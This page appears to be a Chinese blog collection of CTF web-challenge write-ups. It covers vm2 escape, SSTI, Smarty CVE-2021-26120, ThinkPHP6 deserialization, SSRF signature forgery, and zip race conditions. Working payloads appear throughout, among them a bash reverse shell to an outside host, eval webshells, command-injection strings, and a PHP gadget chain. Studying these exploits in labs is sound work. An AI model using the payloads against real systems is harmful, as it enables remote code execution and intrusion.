赞
踩
考点:vm2沙箱逃逸、原型链污染
打开题目,提示找找源码
直接访问./app.js
得到
const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode);
可以利用原型链污染到shellcode,进而rce
payload如下
{
"shit":"1",
"__proto__": {
"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"
}
}
postmanPOST发送即可
反弹shell成功,得到flag
考点:JWT解密、ssti
源码如下
from flask import Flask, render_template, request, session, redirect, make_response from secret import secret, headers, User import datetime import jwt app = Flask(__name__) @app.route("/", methods=['GET', 'POST']) def index(): f = open("app.py", "r") ctx = f.read() f.close() res = make_response(ctx) name = request.args.get('name') or '' if 'admin' in name or name == '': return res payload = { "name": name, } token = jwt.encode(payload, secret, algorithm='HS256', headers=headers) res.set_cookie('token', token) return res @app.route('/hello', methods=['GET', 'POST']) def hello(): token = request.cookies.get('token') if not token: return redirect('/', 302) try: name = jwt.decode(token, secret, algorithms=['HS256'])['name'] except jwt.exceptions.InvalidSignatureError as e: return "Invalid token" if name != "admin": user = User(name) flag = request.args.get('flag') or '' message = "Hello {0}, your flag is" + flag return message.format(user) else: return render_template('flag.html', name=name) if __name__ == "__main__": app.run()
分析一下,/
路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello
路由接收参数token,然后进行解密,如果为admin返回flag
首先第一步获取token值,访问/hello
然后要找到jwt解密要的密钥
我们利用ssti获取
/hello?flag={0.__class__.__init__.__globals__}
然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
访问得到flag
考点:Smarty模板注入,CVE-2021-26120
扫一下目录,发现有源码泄露
看下源码,发现是Smarty模板
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Smarty calculator</title> </head> <body background="img/1.jpg"> <div align="center"> <h1>Smarty calculator</h1> </div> <div style="width:100%;text-align:center"> <form action="" method="POST"> <input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value=""> <br> <input type="submit" value="Submit"> </form> </div> </body> </html> <?php error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); function waf($data){ $pattern = "php|\<|flag|\?"; $vpattern = explode("|", $pattern); foreach ($vpattern as $value) { if (preg_match("/$value/", $data)) { echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>"); die(); } } return $data; } if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>"; $smarty->display("string:" . $data); }else{ echo "<script>alert(\"你还没有登录\")</script>"; } }
有waf过滤,然后判断cookie
我们试试注入语句,发现成功
由于我们在/Smarty/Smarty.class.php
知道该版本
直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载该版本的源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配
if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
而题目中的正则匹配
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
可以发现变成!
,后面的(.*)+
中,.匹配除了换行符以外的所有字符,*
匹配0次或者多次,+
匹配一次或者多次,我们可以使用多次换行绕过
该漏洞的poc
修改一下即可得到flag
data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
也是利用八进制实现绕过
data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}
考点:数组绕过
源码
<?php function x(){ exit(); } if(isset($_GET['f'])){ $content = $_GET['content']; if (preg_match('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|\.\./i', $content)) { die('hacker'); } if ($_GET['f'] == "create"){ file_put_contents($content, '<?=x();?>' . $content); } elseif ($_GET['f'] == "edit"){ $s1 = $_GET['s1']; $s2 = $_GET['s2']; if (strlen($s1) > 20 || strlen($s2) > 20 || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s1) || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s2)) { die('hacker'); } if(file_exists($content)){ $s = file_get_contents($content); $s = str_replace($s1, $s2, $s); file_put_contents($content, $s); } else{ die("file no exits!"); } } else{ include($content); } }else{ highlight_file(__FILE__); } ?>
分析一下,定义了x()函数直接退出程序;对参数content进行正则匹配。如果参数f为create,那么在文件写入<?=x();?>
拼接上content值;如果参数f为edit,那么接收参数s1和s2,长度不能大于20并且匹配一些符号;如果文件存在,读取文件替换部分值(可控)
我们先创建一个shell.php
?f=create&content=shell.php
然后成功写入<?=x();?>
,由于会退出程序,所以我们利用replace去替换掉x函数实现RCE,然后数组绕过正则匹配,payload如下
?f=edit&content=shell.php&s1[]=x();&s2[]=eval($_POST[1]);
然后访问shell.php命令执行即可
考点:ThinkPHP6 反序列化漏洞
www.zip源码泄露,得到源码
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "<img src='../test.jpg'"."/>"; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } }
接受参数payload,然后获取url中的参数进行正则匹配,如果没有匹配到则进行反序列化。
我们又翻到发现是ThinkPHP6
查找相关资料发现有反序列化漏洞,poc如下
<?php namespace think\model\concern{ trait ModelEvent{ protected $withEvent = false; } trait Attribute{ protected $strict = true; private $data = ["cmd" => "cat /flag"]; private $withAttr = ["cmd" => "system"]; } trait Conversion{ } } namespace think{ abstract class Model { use model\concern\Attribute; use model\concern\Conversion; use model\concern\ModelEvent; private $lazySave; private $exists; private $force; protected $table; function __construct(){ $this->lazySave = true; $this->exists = true; $this->force = true; $this->table = true; } } } namespace think\model { use think\Model; class Pivot extends Model { public function __construct($a = '') { parent::__construct(); $this->table = $a; } } echo urlencode(serialize(new Pivot(new Pivot()))); }
然后就是绕过正则匹配,利用///public/?payload=...
考点:MD5爆破,伪造cookie
打开题目,登陆注册需要验证码
MD5爆破前六位脚本
import hashlib
for i in range(1,1000000000):
str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
if(str1[0:6]=='4410a2'):
print(i)
print(str1)
break
发现不能注册admin,随便注册用户a
然后发现cookie很奇怪
我们试试注册用户aa,发现有相似之处
发现两个字母开头均有
_
,我们试试注册adminadmin
果然和我们想的一样
我们bp抓包去掉后半部分试试,得到flag
考点:字符串逃逸
打开题目,发现有登录框,尝试sql注入发现不行
扫一下目录,发现存在源码泄露
代码审计一下
profile.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> ...省略部分代码
首先判断是否登录,然后判断profile是否为空,如果不为空则对其反序列化,这里存在对变量profile的属性photo进行文件读取的漏洞
update.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> ...省略部分代码
包括四个属性,前三个会进行正则匹配,然后图片会判断文件大小
class.php关键代码
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这里的字符串替换可以利用字符串逃逸绕过对photo文件的限制
config.php发现有flag字段,猜测文件读取config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
我们一步步分析,假设我们上传图片为config.jpg
(nickname数组绕过正则匹配)
<?php
class b{
public $phone = "12345678901";
public $email = "123@qq.com";
public $nickname = array('sz');
public $photo = "config.jpg";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
生成字符串如下
O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:2:"sz";}s:5:"photo";s:10:"config.jpg";}
我们要把";}s:5:"photo";s:10:"config.jpg";}
写到nickname里面去,并改为config.php变成
O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:36:"sz";}s:5:"photo";s:10:"config.jpg";}";}s:5:"photo";s:10:"config.jpg";}
需要被写进去的长度为34,那么我们就需要34个where,这样通过字符替换为hacker时刚好增加长度为34把题目上传后面的挤掉,去读取我们自己构造的photo
所以exp如下
<?php
class b{
public $phone = "12345678901";
public $email = "123@qq.com";
public $nickname = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere');
public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
这时候我们上传config.jpg,然后bp抓包修改
然后查看源码
解码得到flag
考点:SSRF
源码如下
#! /usr/bin/env python # #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) #密钥为随机的十六字节字符串 class Task: def __init__(self, action, param, sign, ip): #是一个简单的赋值函数 self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹 os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改 resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中 tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读 result['code'] = 200 result['data'] = f.read() #读取result.txt中的数据 if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程 def challenge(): action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式 param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign ip = request.remote_addr #获取请求端的ip地址 if(waf(param)): #调用waf函数进行过滤 return "No Hacker!!!!" task = Task(action, param, sign, ip) #创建Task类对象 return json.dumps(task.Exec()) #以json的形式返回到客户端 @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫 except: return "Connection Timeout" def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值 return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): #将传入的字符串进行md5加密 return hashlib.md5(content).hexdigest() def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=9999)
我们逐段分析
Task类
class Task: def __init__(self, action, param, sign, ip): #是一个简单的赋值函数 self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹 os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改 resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中 tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读 result['code'] = 200 result['data'] = f.read() #读取result.txt中的数据 if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
首先定义__init__
初始化的函数,包括五个值,其中会对ip进行MD5加密然后如果没有该文件夹,则使用该标识符创建一个文件夹;Exec函数会由checkSign()函数去检测签名,根据action值的不同来实现两个功能,scan功能可以实现文件修改,写入文件对应参数param的值,read功能可以实现文件读取;checkSign函数是检测签名是否正确,getSign函数是后文代码中获取签名的方式。
然后再看/geneSign
路由
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
定义geneSign函数,接收GET参数param,action默认为scan,返回对应的签名
继续看/De1ta
路由
@app.route('/De1ta',methods=['GET','POST']) 的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_add
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
定义challenge函数,在cookie接收参数action和sign,接收GET参数param,然后获取请求端ip,对参数param进行黑名单检测,然后创建task实例,返回json格式的执行Exec函数的结果
最后看跟路由
@app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫 except: return "Connection Timeout" def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值 return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): #将传入的字符串进行md5加密 return hashlib.md5(content).hexdigest() def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
定义scan函数可以读取param的值的文件;给出了getSign函数的签名计算方式,也就是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值;MD5函数就是对值进行加密;waf函数黑名单为gopher和file协议
思路
我们知道scan可以修改文件,read可以读取文件,我们看向源码中是如何判断的
if "scan" in self.action:
if "read" in self.action:
也就是说存在漏洞的,如果我们的action为readscan或scanread的话,就可以实现读取flag.txt并且写入到result.txt去。
构造exp如下
action=readscan
param=flag.txt
要想进入这里的判断就要检查签名是否正确,关键语句
if (getSign(self.action, self.param) == self.sign):
我们先看如何构造签名,在/geneSign
路由下,会发现action默认为scan,我们无法修改成readscan,但是这里存在漏洞,就是getSign函数在进行拼接时是param + action
,如果我们构造param为flag.txtread即可实现绕过,具体过程如下
action=scan
param=flag.txtread
这样拼接后构造出来的签名可以实现绕过
然后就是在/De1ta
路由rce即可
解题过程如下
我们先构造签名
然后访问/De1ta
修改cookie,得到flag
工具hash_ext_attack.py
从前面已经讲解了大概思路,就是伪造签名,构造
action=readscan
param=flag.txt
使用此工具就不需要构造flag.txtread了,步骤如下
我们已知密钥为十六字节,加上我们需要读取的flag.txt的长度,经过拼接后长度为24,我们直接在获取签名处发送param=flag.txt
得到签名,然后已知明文为scan,拓展为read
然后运行脚本
也能得到flag
find命令使用
存在源码泄露
源码如下
<?php error_reporting(0); $argv = $_GET["search"]; for ($i = 0; $i < strlen($argv); $i++) { if (($argv[$i] == '&') || ($argv[$i] == '>') || ($argv[$i] == '<') || ($argv[$i] == '(') || ($argv[$i] == ';') || ($argv[$i] == '|') ) { if ($i == 0) { goto error; } if (($i == 1) && ($argv[0] == '\\')) { continue; } if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) { continue; } error: exit("Input contains prohibited characters!<br>"); } } echo "<h3>Search reslut:</h3><br>"; system("find / -iname " . $argv); ?>
存在命令执行,过滤了管道符
直接找环境变量,payload如下
?search=environ -exec cat {} \;
考点:条件竞争、解压失败逻辑漏洞
源码
<?php highlight_file(__FILE__); function removedir($dir){ $list= scandir($dir); foreach ($list as $value) { if(is_file($dir.'/'.$value)){ unlink($dir.'/'.$value); }else if($value!="."&&$value!=".."){ removedir($dir.'/'.$value); } } } function unzip($filename){ $result = []; $zip = new ZipArchive(); $zip->open($filename); $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename); if(!is_dir($dir)){ mkdir($dir); } if($zip->extractTo($dir)){ foreach (scandir($dir) as $value) { $file_ext=strrchr($value, '.'); $file_ext=strtolower($file_ext); //转换为小写 $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext=trim($file_ext); //收尾去空 if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){ removedir($dir); } if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){ if(is_file($dir."/".$value)){ unlink($dir."/".$value); }else{ if($value!="."&&$value!="..") array_push($result,$value); } } } $zip->close(); unlink($filename); return json_encode($result); }else{ return false; } } $content= $_REQUEST['content']; shell_exec('rm -rf /tmp/*'); $fpath ="/tmp/".md5($content); file_put_contents($fpath, base64_decode($content)); echo unzip($fpath); ?>
分析一下,removedir函数采用了递归删除文件的方式,将压缩包中所有非法文件删除;unzip函数首先实例化PHP的ZipArchive类来打开一个ZIP文件,并将其解压缩到指定的目录并回显该路径,然后过滤了几种常见的文件上传绕过手段,最后给了白名单进行正则匹配;接收参数content,然后执行rm删除上传的非法文件,如果合法文件则回显上传路径
核心代码
if($zip->extractTo($dir)){
foreach (scandir($dir) as $value) {
//白名单检测
}
$zip->close();
unlink($filename);
return json_encode($result);
}else{
return false;
}
思路
既然我们传递非法文件进行解压时会被后台删除,那么我们上传错误的zip压缩包是否会被删除呢,从p神文章中可以知道如果是错误的zip那么后台直接退出从而没有后面的删除操作,还有就是其中正确的文件会被解压出来(而错误的不会被解压出来)。
我们可以本地测试一下,利用文件夹和文件同名且出现在同一个zip中
创建test.php,随便写入内容,然后依次执行下述步骤
zip -y exp1.zip test.php //把shell.php文件压缩进exp.zip
rm test.php //删除shell.php文件
mkdir test.php //创建shell.php文件夹
echo 1 > ./test.php/1 //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp1.zip test.php/1 //把shell.php文件夹及其下1文件压缩进exp.zip
我们看向文件结构,发现同时存在
而我们把该文件放到windows下解压会出现报错,其中test.php会被解压出来
那么我们按照上述步骤构造错误zip并且写入一句话木马
然后将生成的zip文件复制到windows下,用脚本读取其文件内容并编码
import base64
tmp = open("D:\\ctf_tools\\exp.zip","rb").read()
print(base64.b64encode(tmp))
然后POST传参,得到上传路径
访问直接RCE得到flag
还有一种破坏压缩包的方式为用工具010,具体如下
创建shell.php和1.txt,然后用kali将它们压缩到同一zip下
然后用010打开,修改后面的1.txt为5个斜杠
然后解压就会发现只有shell.php被解压出来,同样可以得到flag
创建shell.php,写入
<?php
file_put_contents('/var/www/html/shell.php','<?php eval($_POST["shell"]);?>');
?>
然后丢到kali压缩一下
条件竞争脚本
import requests import threading import hashlib import base64 url="http://node4.anna.nssctf.cn:28893/" sess=requests.session() s = open('shell.zip','rb').read() content=base64.b64encode(s) data={'content':content} i = hashlib.md5(content) md=hashlib.md5(("/tmp/" + i.hexdigest()).encode()).hexdigest()s def write(session): while True: resp = session.post( url,data=data ) def read(session): while True: resp = session.get(url+f'static/upload/{md}/shell.php') if resp.status_code==200: print('yes') if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
当出现yes的时候说明成功写入
直接访问/shell.php
命令执行即可
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。